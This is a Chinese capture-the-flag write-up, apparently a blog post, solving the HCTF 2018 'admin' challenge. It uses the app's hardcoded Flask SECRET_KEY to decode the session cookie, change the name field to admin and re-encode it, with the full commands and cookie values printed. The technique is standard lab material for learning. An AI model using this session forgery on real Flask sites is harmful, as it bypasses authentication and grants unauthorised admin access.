[HCTF 2018]admin)
-
解题办法:
flask session 伪造 -
主界面
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C3Vq2ROM-1615894626413)(C:\Users\wuuconix\Desktop\blog[HCTF 2018]admin\pic\1.png)]](/https://i-blog.csdnimg.cn/blog_migrate/e01ddca3b8be6eab8d77f9a0ab1a1c1b.png)
-
右边有两个选项,分别是登录和注册,我们先注册一下吧。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AybTg5uR-1615894626416)(C:\Users\wuuconix\Desktop\blog[HCTF 2018]admin\pic\2.png)]](/https://i-blog.csdnimg.cn/blog_migrate/23a118329c816e48dfd2ac8fcb782804.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JkG8CsCt-1615894626417)(C:\Users\wuuconix\Desktop\blog[HCTF 2018]admin\pic\3.png)]](/https://i-blog.csdnimg.cn/blog_migrate/45fcd789763013aa2cbadef45507e355.png)
-
sql注入失败了,看来这道题不是考察
sql注入 -
老老实实注册一个名叫
test的用户吧。 -
登录之后,多了一些选项,分别是
indexpostchange passwordlogout功能。 -
打开
index页面源码我们发现,它提示我们不是admin<!-- you are not admin --> -
我们再
change password的源代码里发现了重要提示<!-- https://github.com/woadsl1234/hctf_flask/ --> -
看来作者提供了题目的源代码。经过
git clone之后我们得以了解解题思路。以下是index.html文件的内容{% include('header.html') %} {% if current_user.is_authenticated %} <h1 class="nav">Hello {{ session['name'] }}</h1> {% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1> {% endif %} <!-- you are not admin --> <h1 class="nav">Welcome to hctf</h1> {% include('footer.html') %} -
我们看到只要
session['name'] == 'admin'就会得到flag,所以我们就得去伪造session![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sDRTy4Lc-1615894626419)(C:\Users\wuuconix\Desktop\blog[HCTF 2018]admin\pic\6.png)]](/https://i-blog.csdnimg.cn/blog_migrate/85c7f6d0f7f38fa3badf402dc98bb0c0.png)
-
我们看到
session是存在Cookie中的。接下来我们需要把这一串session翻译一下。 -
github上有很多解密脚本,我选择了一个noral/flask-session-cookie-manager 。git clone到本地后,根据它所给的方式setup, 之后利用这样一条语句来解密session(venv) wuuconix@wuuconix:~/flask-session-cookie-manager$ python3 flask_session_cookie_manager3.py decode -c '.eJw9kMGOgkAQRH9lM2cPMOjFxIMGIZh0TzQDk56LcRHFhnETwKAY_31ZN_H8Uq-76in2p6ZoSzHvmlsxEfvLUcyf4utbzAUZvKAmz_JaooQpuagCGTEy9KghUDoJLO8cOriT3jnQtsYwnYGkkS97ZZIHDRtWcVaSTKcjr8jBQEPysFyN-TwAvWIa1jPgXYUuqpVeP6yJShunPvB2psJloOL0Trz0QSLbcOujSXrryFOGfDKRszEsxGsi8rY57bufqrh-KkBsa2X-1Ns7hPl4Oh_QZPVYyyfOSssbh5x7qFfO8vi2zCo8L966izuci4_pKNuA-n9yPbgRiK5oOzERt7Zo3rMJ3xOvX1knbKg.YFCLGQ.PBAwPWV-dmbYFUGa27smtqf-sC8' -s 'ckj123' -
解释一下
-c后面接网站上获得的session-s后面接密钥。密钥是在config.py这个文件里发现的import os class Config(object): SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test' SQLALCHEMY_TRACK_MODIFICATIONS = True -
运行之后我们就知道了session的原貌
{'_fresh': True, '_id': b'acb564f167c8bad3ac630537927f4f6c1a4f16e4593f05009b2c2c8eace816dbc3c22f9797710cc1924d6ae912eaade52498078e1b053ccd455b0ff49f5aafdc', 'csrf_token': b'0fe9dd6d1073c735ee565b5af2f67450ff607ed6', 'image': b'wk7c', 'name': 'test', 'user_id': '10'} -
我们只需要将session中的
name属性改成admin再利用以下语句encode一下就实现session伪造啦!(venv) wuuconix@wuuconix:~/flask-session-cookie-manager$ python3 flask_session_cookie_manager3.py encode -s 'ckj123' -t '{"_fresh": True, "_id": b"acb564f167c8bad3ac630537927f4f6c1a4f16e4593f05009b2c2c8eace816dbc3c22f9797710cc1924d6ae912eaade52498078e1b053ccd455b0ff49f5aafdc", "csrf_token": b"0fe9dd6d1073c735ee565b5af2f67450ff607ed6", "image": b"wk7c", "name": "admin", "user_id": "10"}' -
还是解释一下
-s后面还是跟密钥,-t后面跟源json格式的数据。运行过后我们就得到了最终的session了!.eJw9kMGOgkAQRH9lM2cPMOjFxIMGIZh0TzQDk56LcRGFhnET0KAY_31ZN_H8Uq-76in2p7boSjG_trdiIvbVUcyf4utbzAUZrFCTZ3ktUcKUXFSDjBgZetQQKJ0ElncOHdxJ7xxo22CYzkDSyJe9MsmDhg2rOCtJptOR1-RgoCF5WK7HfB6AXjEN6xnwrkYXNUqvH9ZEpY1TH3g7U-EyUHF6J176IJFtuPXRJL115ClDPpnI2RgW4jURedee9tefurh8KkBsG2X-1Ns7hPl4Oh_QZM1YyyfOSssbh5x7qFfO8vi2zGo8L966yh3Oxcd0lF1A_T-5HNwIxOHoqouYiFtXtO_dhO-J1y_Fsmzx.YFCOkQ.E5pxmtCp2iYu4MOJ1s0CP2OH-YU -
在浏览器
Cooke中的session修改后,刷新页面,flag出现了!![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T0fOpHUF-1615894626420)(C:\Users\wuuconix\Desktop\blog[HCTF 2018]admin\pic\7.png)]](/https://i-blog.csdnimg.cn/blog_migrate/52dc9925a8ca7066e862e709bd44f548.png)
-
这可太帅了!
-
这道题还有
unicode欺骗的方法,但是这里就不深入了。
-
参考链接
通过flask session伪造技巧解决HCTF2018 admin挑战,揭示了如何利用源代码提示和解密工具获取管理员权限并找到flag。

1万+

被折叠的 条评论
为什么被折叠?



